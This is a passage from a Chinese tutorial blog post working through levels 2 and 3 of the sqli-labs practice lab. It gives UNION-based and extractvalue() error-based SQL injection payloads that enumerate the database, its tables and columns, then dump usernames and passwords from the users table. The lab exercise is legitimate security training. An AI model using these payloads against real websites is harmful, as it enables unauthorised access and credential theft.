分享

sql注入获取用户名和密码(二)

 新用户26922hFh 2022-01-18

  环境:本地环境,基于sqli-labs1.sqli-labs第二关(基于get的整数型注入)

  通过代码审计,或者回显可以看出,输入的内容被原封不动的带入到数据库中,这种也叫数字型注入

  我这里其实是可以直接获取到用户名和密码,但是为了那些个小白呢,我从头开始吧

  1.1 获取数据库

  构造sql:

  id=81 union select 1,2,database() -- +sql注入获取用户名和密码(二)

  1.2 获取数据库的表

  构造sql:

  ?id=81 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() )-- +sql注入获取用户名和密码(二)

  1.3 获取user表里的字段信息

  构造sql:

  ?id=81 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' ) -- +sql注入获取用户名和密码(二)

  1.4 获取users表里字段获取用户名和密码

  构造sql:

  ?id=81 union select 1,2,(select group_concat(username,'::',password) from users) -- +sql注入获取用户名和密码(二)

  这里可以看到,用户名和密码了,结束了,再来看第二种方法,手工报错注入试试,主要是练习使用

  另外的方法

  构造sql:

  ?id=1 and extractvalue(1,concat(0x58,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('first_name','last_name')))) -- +sql注入获取用户名和密码(二)

  获取用户名和密码,和上面一样,这里就不截图了2. sqli-labs第三关 get 下单引号变形引发的sql注入

  经过测试和代码审计可以看出,输入1'时 会报错,出现了)这个,所以再一类构造减肥参数时需要 加入 ')来闭合才能执行成功,有正常的回显sql注入获取用户名和密码(二)

  2.1 我这里就直接获取用户表里的列

  构造sql

  ?id=-1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') -- +sql注入获取用户名和密码(二)

  2.2 获取用户名和密码

  构造sql:

  ?id=-1' ) union select 1,2,(select group_concat(username,0x23,password) from users) -- +sql注入获取用户名和密码(二)

  另外一种方法:使用extractvalue()来实现

  构造sql

  id=1' ) and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','fail') ))) -- +sql注入获取用户名和密码(二)

  获取用户名和密码

  构造sql

  ?id=1' ) and extractvalue(1,concat(0x23,(select group_concat(username,0x23,password) from users ))) -- +sql注入获取用户名和密码(二)

    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多